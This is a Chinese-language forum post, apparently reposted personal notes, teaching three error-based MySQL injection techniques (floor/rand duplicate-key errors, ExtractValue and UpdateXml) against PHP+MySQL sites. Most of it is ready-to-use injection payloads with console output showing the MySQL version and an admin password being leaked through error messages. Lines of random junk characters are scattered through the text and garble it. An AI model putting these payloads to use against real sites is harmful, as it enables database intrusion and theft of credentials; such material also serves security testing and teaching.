关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
2 V: e4 d% p" g. ?& W实际测试环境：
9 M6 {) M# O- E& K​
! |- S, V9 m3 \" G: @
mysql> show tables;
+----------------+
| Tables_in_test |
9 H; K" l& g; o) N7 t+----------------+
| admin          |
| article        |
  o: R6 K1 u/ e2 `+ V* A5 E: f  u( `! ~+----------------+



: Y+ v# L$ ]( a4 D% D7 X* _mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
( t; L6 B1 \: K9 w+-------+------------------+------+-----+---------+----------------+
- L; R& ]$ r5 H$ y) B1 ^| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+



; }" X. l( ~$ K1 q7 j$ X9 Imysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
& ~& W: I* |! D7 D$ M+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
; I- _- k# ]' P- ~/ I+---------+------------------+------+-----+---------+----------------+
5 C7 X1 c) t/ G8 H1、通过floor报错
可以通过如下一些利用代码
, p& P# I) q/ y5 m# f2 k
7 Z% [  [, D: q- W
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
/ j7 _( w. m! M

and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
5 H4 ~- ]8 s7 ^( E  `floor(rand(0)*2)));
举例如下：
首先进行正常查询：
- Z9 h( v  M4 v" s5 }7 U) T  f
mysql> select * from article where id = 1;
) `% f. S5 E8 ?+ d+----+-------+---------+
% \( Z" D  }( N0 f) t+ X9 f7 t2 I/ R; \| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
; f+ x- D' Y5 i  `. M6 @假如id输入存在注入的话，可以通过如下语句进行报错。

1 _& m+ _" a1 _% p* u$ _# Y( ~
6 p5 R' V! n3 h# J% c" B& E. Y2 Smysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
* ^: f9 r# X2 T9 ]' WERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
' l6 R/ z4 o8 J2 m' ?) d2 s1 s可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
- Z4 }, E  {7 \- p2 `7 G; K( G" \/ o( gMethod1:
% O' E' g5 i; d* @6 I  _
* `$ k% v( {0 O. J) W7 G8 @
) K7 X9 @" b) j* t7 n) m: `mysql> select * from article where id = 1 and (select 1 from
1 |% K) E* c: ?. r9 A: G(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
+ |; R; \2 F$ o# F9 RERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
9 ~3 b9 o, J! h1 h/ b6 i
! w7 d+ l  J7 Y7 j: q
0 p9 i' K: P2 ~# ~& S3 U$ r- S2 s) dmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
6 h0 w/ G  b0 E1 p7 Z8 m$ \测试语句如下
& I3 T; e6 ^/ K9 t+ T$ Y7 C) W+ V* Y

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
/ X. E7 Z( o6 z9 g: D实际测试过程
# `' \* J- s8 W% z0 P

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
! `: i9 p, z" X" f8 m) a(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
6 v7 `1 R; ?' m3 C$ s测试语句
, ]2 p" z- i9 K. z

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
; C7 J/ M  i" P  d实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 `) s& k" o; s/ ^(select pass from admin limit 1),0x5e24),1));
* b! I# j7 }; d, P! {1 BERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

- ?! N  [$ i: L8 ~​
0 G, P& O/ Z! l: b